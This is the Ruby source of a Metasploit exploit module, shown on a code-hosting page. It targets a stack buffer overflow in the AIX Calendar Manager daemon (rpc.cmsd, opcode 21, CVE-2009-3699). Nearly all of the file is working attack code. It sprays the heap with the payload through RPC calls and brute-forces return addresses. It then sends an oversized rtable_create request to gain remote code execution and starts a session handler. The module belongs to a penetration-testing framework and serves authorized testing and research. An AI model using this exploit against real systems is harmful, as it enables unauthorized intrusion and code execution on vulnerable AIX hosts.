Path: blob/master/modules/exploits/aix/rpc_cmsd_opcode21.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SunRPC9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow vulnerability in opcode 21 handled by18rpc.cmsd on AIX. By making a request with a long string passed to the first19argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This20leads to arbitrary code execution.2122NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where23further attempts are not possible.24},25'Author' => [26'Rodrigo Rubira Branco (BSDaemon)',27'jduck',28],29'References' => [30[ 'CVE', '2009-3699' ],31[ 'OSVDB', '58726' ],32[ 'BID', '36615' ],33[ 'URL', 'https://web.archive.org/web/20091013155835/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],34[ 'URL', 'https://web.archive.org/web/20221204155746/http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]35],36'Platform' => [ 'aix' ],37'Payload' => {38'Space' => 4104,39'BadChars' => "\x00",40# The RPC function splits the string by 0x40, watch out!41# It's not a payload badchar since we're putting the payload elsewhere...42'DisableNops' => true43},44'Targets' => [45[46'IBM AIX Version 5.1',47{48'Arch' => 'ppc',49'Platform' => 'aix',50'AIX' => '5.1',51'Bruteforce' =>52{53'Start' => { 'Ret' => 0x2022dfc8 },54# worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },55'Stop' => { 'Ret' => 0x202302c8 },56'Step' => 60057}58}59],60],61'DefaultTarget' => 0,62'DisclosureDate' => '2009-10-07',63'Notes' => {64'Reliability' => [ UNRELIABLE_SESSION ],65'Stability' => [ CRASH_SERVICE_RESTARTS ],66'SideEffects' => [ IOC_IN_LOGS ]67}68)69)70end7172def brute_exploit(brute_target)73if !@aixpayload74datastore['AIX'] = target['AIX']75@aixpayload = regenerate_payload.encoded76end7778print_status('Trying to exploit rpc.cmsd with address 0x%x ...' % brute_target['Ret'])7980begin81sunrpc_create('udp', 100068, 4)8283# spray the heap a bit (work around powerpc cache issues)84buf = make_nops(1024 - @aixpayload.length)85buf << @aixpayload86xdr = Rex::Encoder::XDR.encode(buf, buf)8710.times do88sunrpc_call(7, xdr, 2)89end9091# print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)9293buf = rand_text_alphanumeric(payload_space)94buf << [brute_target['Ret']].pack('N')9596xdr = Rex::Encoder::XDR.encode(buf, '')97sunrpc_authunix('localhost', 0, 0, [])98sunrpc_call(21, xdr, 2)99100handler(sunrpc_callsock)101sunrpc_destroy102rescue Rex::Proto::SunRPC::RPCTimeout103vprint_error('RPCTimeout')104rescue Rex::Proto::SunRPC::RPCError => e105vprint_error(e.to_s)106rescue EOFError107vprint_error('EOFError')108end109end110end111112113